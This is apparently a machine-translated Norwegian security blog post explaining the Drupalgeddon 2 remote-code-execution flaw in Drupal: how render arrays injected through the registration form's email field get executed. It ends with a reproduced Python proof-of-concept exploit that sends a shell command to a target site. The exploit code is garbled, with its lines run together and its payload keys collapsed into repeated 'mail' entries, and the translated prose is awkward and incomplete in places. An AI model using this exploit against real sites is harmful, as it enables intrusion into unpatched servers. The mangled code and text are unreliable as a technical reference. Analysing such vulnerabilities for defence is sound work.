Drupalgeddon 2 RCE-SecPod Blogg

Mer enn en million aktive nettsteder bruker Drupal, noe som gjør Det til det nest mest brukte innholdsstyringssystemet over hele verden etter WordPress. Den 28. Mars 2018 lanserte Drupal sikkerhetsoppdateringer for versjon 6 til 8 som foreslo å oppdatere umiddelbart og markere det underliggende sikkerhetsproblemet (CVE-2018-7600) som kritisk med ekstern kjøring av kode. Skanningen og angrepene på nettstedene ved Hjelp Av Drupal økte eksponentielt som forventet, men det var ingen rapporter om sårbarheten som ble utnyttet i naturen. Så for noen dager siden publiserte en russisk sikkerhetsforsker en proof-of-concept (POC) utnyttelseskode på GitHub og Internett gikk berserk.

Utnyttelse samlet og angripere begynte å bruke den til å installere cryptocurrency gruvearbeidere og malware bakdører. Det antas at En Av Monero miner-kampanjene som leverte XMRig mens de utnyttet sårbarheten (CVE-2017-10271) i Oracle WebLogic-servere er involvert.

Per statistikk, 90% Av Drupalgeddon 2 angrep er ingenting, men skanner for å finne sårbare systemer, 3% er bakdør infeksjon forsøk og 2% forsøker å kjøre crypto gruvearbeidere.

Drupal advarte i sin rådgivende advarsel «nettsteder som ikke er patched innen onsdag, 2018-04-11 kan bli kompromittert» og » bare oppdatering Av Drupal vil ikke fjerne bakdører eller fikse kompromitterte nettsteder. Hvis du finner ut at nettstedet ditt allerede er oppdatert, men du ikke gjorde det, kan det være et symptom på at nettstedet ble kompromittert. Noen angrep tidligere har brukt oppdateringen som en måte å garantere at bare den angriperen har kontroll over nettstedet.»

Teknisk Sjargong

Drupal introduserte Sin Form API I Drupal 6 som tillot endring av skjemadata under skjemaets gjengivelse. Dette revolusjonerte måten markup behandling arbeidet. I Drupal 7 Skjemaet API ble generalisert til det som nå er kjent som»Renderable Arrays». Denne utvidede API-EN brukes til å representere strukturen til De fleste UI-elementene I Drupal, for eksempel sider, blokker, noder og mer. Gjengivelsesarrayer inneholder metadata som brukes i gjengivelsesprosessen. Disse gjengivelsesarrayene er en nøkkelverdistruktur der eiendomsnøklene starter med et hash-tegn (#). Et eksempel:

Drupal ga ut En oppdatering som bare legger til en enkelt klasse RequestSanitizer med en stripDangerousValues-metode som fjerner alle elementene i en input-matrise for nøkler som starter med et hash-tegn. Denne metoden desinfiserer inngangsdata i $_GET, $_POST & $_COOKIES i de tidlige stadiene Av Drupals bootstrap (umiddelbart etter lasting av nettstedskonfigurasjonene). Det kan antas at grunnen til at oppdateringen ble utgitt, er å gjøre et eksisterende sårbarhet vanskeligere å finne.

sårbarheten ble funnet i skjemaene. Brukerregistreringsskjemaet som ikke krever godkjenning og kan nås anonymt, inneholder flere inntastingsfelt og kan utnyttes.

Bildekilde: Checkpoint, Dofinity

det var høyst sannsynlig at injeksjon av et gjengivelig array ville utnytte sårbarheten, spørsmålet var hvor?

som det viser seg, renser feltet «E-Postadresse» ikke typen inngang den mottar, noe som tillot oss å injisere det gjengbare arrayet til formarraystrukturen.

Bildekilde : Checkpoint, Dofinity

nå var Alt Vi trengte For Drupal å gjengi vår injiserte array. Siden Drupal behandler vår injisert array som en verdi og ikke som et element, vi trengte å lure Drupal til å gjengi Det. Drupal gjengir en matrise på siden last hendelse eller Via Drupal AJAX API.

Feltet «Bilde» i brukerregistreringsskjemaet bruker Drupals AJAX API til å laste opp et bilde og erstatte det med et miniatyrbilde av det opplastede bildet.

konseptbevis (POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Legg igjen en kommentar

Din e-postadresse vil ikke bli publisert.

Related Posts